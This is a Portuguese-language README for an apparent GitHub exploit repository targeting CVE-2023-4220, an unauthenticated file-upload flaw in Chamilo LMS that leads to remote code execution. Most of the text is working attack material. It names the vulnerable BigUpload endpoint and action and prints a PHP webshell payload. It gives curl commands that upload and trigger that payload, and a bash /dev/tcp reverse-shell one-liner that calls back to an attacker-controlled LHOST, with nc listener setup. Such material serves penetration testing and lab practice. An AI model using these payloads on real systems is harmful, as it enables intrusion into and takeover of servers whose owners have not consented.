
CVE-2023-4220 — RCE por upload de arquivo não autenticado no Chamilo LMS ≤ 1.11.24. Estilo OSCP e exploit automático.
Exploit em Python para CVE-2023-4220, uma vulnerabilidade de upload arbitrário de arquivos sem autenticação que afeta o Chamilo LMS <= 1.11.24.
A vulnerabilidade está localizada no componente BigUpload do Chamilo. Em instalações vulneráveis, o manipulador de upload permite que um arquivo PHP seja enviado sem validação adequada. Como os arquivos enviados são armazenados em um diretório acessível via web, o arquivo PHP enviado pode ser solicitado diretamente e usado como webshell se a execução de PHP estiver habilitada.
Este repositório inclui duas versões do exploit:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
Ambos os scripts enviam um webshell PHP, verificam a execução de comandos e permitem executar comandos por meio do parâmetro GET cmd. A única diferença prática é como --shell é tratado.
A versão auto inicia seu próprio listener, aciona o reverse shell e alterna para uma sessão interativa automaticamente.
A versão oscp aciona o payload do reverse shell, mas não inicia um listener. Você deve iniciar seu listener manualmente antes de executá-la.
Clone o repositório:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
Instale os requisitos:
python3 -m pip install -r requirements.txt
A única dependência externa é requests, portanto também pode ser instalada manualmente:
python3 -m pip install requests
O alvo é informado com -u ou --url:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
As mesmas opções estão disponíveis em ambos os scripts:
-u, --url Target base URL
--check Check if the BigUpload files directory is reachable
--upload Upload the webshell and verify command execution
--cmd CMD Execute a single command through the uploaded webshell
--shell LHOST LPORT Trigger a reverse shell
--filename NAME Use a custom filename for the uploaded PHP file
--proxy PROXY Send traffic through a proxy, for example Burp Suite
--timeout SECONDS Set the HTTP timeout
--verify-tls Enable TLS certificate verification
--cleanup Try to remove the uploaded PHP file after execution
A versão automática também inclui:
--listen-timeout SEC Time to wait for the reverse shell connection
Verifique se o caminho BigUpload esperado está acessível:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Envie o webshell PHP e verifique a execução de comandos:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
Execute um único comando:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
Use um nome de arquivo personalizado:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Envie o tráfego por meio do Burp Suite:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
Os exemplos acima usam o script auto, mas a mesma sintaxe pode ser usada com chamilo_cve_2023_4220_oscp.py.
A opção --shell existe em ambos os scripts, mas se comporta de maneira diferente dependendo da versão utilizada.
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
Esta versão inicia um listener local em 10.10.14.3:4444, envia o webshell, aciona o reverse shell e abre a sessão interativa automaticamente.
Você não precisa executar nc manualmente ao usar esta versão.
Inicie seu listener manualmente primeiro:
sudo nc -nlvp 4444
Em seguida, execute o exploit a partir de outro terminal:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
Esta versão apenas envia o payload do reverse shell por meio do webshell enviado. A conexão é recebida pelo listener que você iniciou manualmente.
O comando de reverse shell acionado por ambos os scripts é equivalente a:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
Certifique-se de que o valor de LHOST seja acessível a partir do alvo. Em ambientes VPN, geralmente é o endereço da sua interface de túnel:
ip -brief addr show tun0
CVE-2023-4220 afeta versões do Chamilo LMS até 1.11.24 inclusive.
O manipulador de upload vulnerável está localizado em:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
A ação explorada pelo exploit é:
?action=post-unsupported
Os arquivos enviados geralmente são acessíveis a partir de:
/main/inc/lib/javascript/bigupload/files/
O exploit envia uma solicitação POST multipart/form-data usando o campo de formulário esperado pelo BigUpload:
bigUploadFile
O payload PHP enviado é um pequeno wrapper de comandos:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
Comandos são passados por meio do parâmetro GET cmd:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
Os marcadores ao redor da saída do comando são usados para extrair a parte relevante da resposta HTTP.
O upload realizado pelos scripts é equivalente a:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
Após um upload bem-sucedido, a execução de comandos pode ser testada com:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check apenas verifica se o diretório de arquivos BigUpload esperado está acessível. Um resultado positivo não garante que o alvo seja explorável.
Uma validação completa exige o envio do payload PHP e a confirmação da execução de comandos com --upload ou --cmd.
Se o upload funcionar, mas a execução de comandos falhar, a execução de PHP pode estar desabilitada no diretório de upload, o alvo pode estar corrigido (patch aplicado) ou uma regra no lado do servidor pode estar bloqueando a solicitação.
Use --cleanup se quiser que o script tente remover o arquivo PHP enviado após a execução.